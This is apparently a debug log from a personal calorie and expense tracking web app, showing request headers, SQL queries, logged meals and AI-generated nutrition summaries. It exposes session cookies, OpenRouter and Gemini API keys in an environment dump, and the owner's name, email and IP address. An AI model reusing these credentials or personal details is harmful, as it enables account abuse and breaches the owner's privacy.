  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T05:09:14.357Z server-connect:app Executing action step identify
2025-12-18T05:09:14.357Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:14.357Z server-connect:output identity: 1
2025-12-18T05:09:14.855Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T05:09:14.855Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T05:09:14.856Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T05:09:14.856Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T05:09:14.856Z server-connect:app Executing action step identify
2025-12-18T05:09:14.856Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:14.857Z server-connect:output identity: 1
2025-12-18T05:09:14.857Z server-connect:app Executing action step restrict
2025-12-18T05:09:14.857Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:14.857Z server-connect:app Executing action step identify
2025-12-18T05:09:14.857Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:14.857Z server-connect:output identity: 1
2025-12-18T05:09:14.857Z server-connect:app Executing action step restrict
2025-12-18T05:09:14.857Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:14.857Z server-connect:output restrict: undefined
2025-12-18T05:09:14.857Z server-connect:app Executing action step single
2025-12-18T05:09:14.857Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T05:09:14.858Z server-connect:app Executing action step identify
2025-12-18T05:09:14.858Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:14.858Z server-connect:output identity: 1
2025-12-18T05:09:14.858Z server-connect:app Executing action step restrict
2025-12-18T05:09:14.858Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:14.858Z server-connect:output restrict: undefined
2025-12-18T05:09:14.858Z server-connect:app Executing action step select
2025-12-18T05:09:14.858Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T05:09:14.859Z server-connect:app Executing action step identify
2025-12-18T05:09:14.859Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:14.859Z server-connect:output identity: 1
2025-12-18T05:09:14.859Z server-connect:app Executing action step restrict
2025-12-18T05:09:14.859Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:14.859Z server-connect:output restrict: undefined
2025-12-18T05:09:14.859Z server-connect:app Executing action step single
2025-12-18T05:09:14.859Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T05:09:14.860Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one recorded food item. This single item does not provide a balanced profile of macronutrients and is unlikely to support muscle development or recovery adequately. Consistent training is a positive, but the nutritional intake needs significant improvement to align with your goals.",
    bad_points: [
      'Very limited food intake recorded for the day.',
      'Lack of variety in consumed food.',
      'Protein intake is likely insufficient for muscle development and recovery.',
      'No information on meal timing or hydration.'
    ],
    good_points: [ 'Consistent gym attendance is noted.' ],
    suggestions: [
      'Incorporate more diverse food sources throughout the day.',
      'Prioritize protein-rich foods at each meal.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding a post-workout meal or snack to aid recovery.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'Slight downward trend with some fluctuations.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T05:09:14.860Z server-connect:output restrict: undefined
2025-12-18T05:09:14.860Z server-connect:app Executing action step single
2025-12-18T05:09:14.860Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T05:09:14.861Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T05:09:14.861Z server-connect:app Executing action step select
2025-12-18T05:09:14.861Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T05:09:14.862Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T05:09:14.863Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T05:09:14.864Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  }
]
2025-12-18T05:09:14.864Z server-connect:app Executing action step setvalue
2025-12-18T05:09:14.864Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T05:09:14.864Z server-connect:output var_total: 285
2025-12-18T05:09:14.864Z server-connect:app Executing action step setvalue
2025-12-18T05:09:14.864Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T05:09:14.864Z server-connect:output var_consumed: 12
2025-12-18T05:09:14.864Z server-connect:app Executing action step setvalue
2025-12-18T05:09:14.864Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T05:09:14.864Z server-connect:output var_deficit: 2115
2025-12-18T05:09:14.864Z server-connect:app Executing action step custom
2025-12-18T05:09:14.864Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T05:09:14.866Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '285',
    surplus_or_deficit: '2115',
    status_flag: 2
  }
]
2025-12-18T05:09:15.573Z server-connect:app Executing action step identify
2025-12-18T05:09:15.573Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:15.573Z server-connect:output identity: 1
2025-12-18T05:09:18.963Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T05:09:18.963Z server-connect:app Executing action step identify
2025-12-18T05:09:18.963Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:18.963Z server-connect:output identity: 1
2025-12-18T05:09:18.963Z server-connect:app Executing action step restrict
2025-12-18T05:09:18.963Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:18.964Z server-connect:output restrict: undefined
2025-12-18T05:09:18.964Z server-connect:app Executing action step processWithGemini
2025-12-18T05:09:18.964Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T05:09:20.735Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (27g protein)',
      calories_consumed: 120,
      total_calories: 120,
      protein: 27,
      carbs: 3,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
    }
  ],
  total_macros: {
    protein: { value: 27, unit: 'g' },
    carbs: { value: 3, unit: 'g' },
    fat: { value: 1, unit: 'g' }
  }
}
2025-12-18T05:09:25.477Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T05:09:25.478Z server-connect:app Executing action step identify
2025-12-18T05:09:25.478Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:25.478Z server-connect:output identity: 1
2025-12-18T05:09:25.478Z server-connect:app Executing action step restrict
2025-12-18T05:09:25.478Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:09:25.479Z server-connect:output restrict: undefined
2025-12-18T05:09:25.479Z server-connect:app Executing action step condition
2025-12-18T05:09:25.479Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T05:09:25.479Z server-connect:app Executing action step repeat
2025-12-18T05:09:25.479Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T05:09:25.479Z server-connect:app Executing action step insert
2025-12-18T05:09:25.479Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T05:09:25.480Z server-connect:output calories: { affected: 1, identity: 435 }
2025-12-18T05:09:25.480Z server-connect:output repeat: [ {} ]
2025-12-18T05:09:25.480Z server-connect:output condition: undefined
2025-12-18T05:09:25.697Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T05:09:25.697Z server-connect:app Executing action step identify
2025-12-18T05:09:25.697Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:25.697Z server-connect:output identity: 1
2025-12-18T05:09:25.697Z server-connect:app Executing action step restrict
2025-12-18T05:09:25.697Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:09:25.697Z server-connect:output restrict: undefined
2025-12-18T05:09:25.697Z server-connect:router Render template layouts/main
2025-12-18T05:09:25.698Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
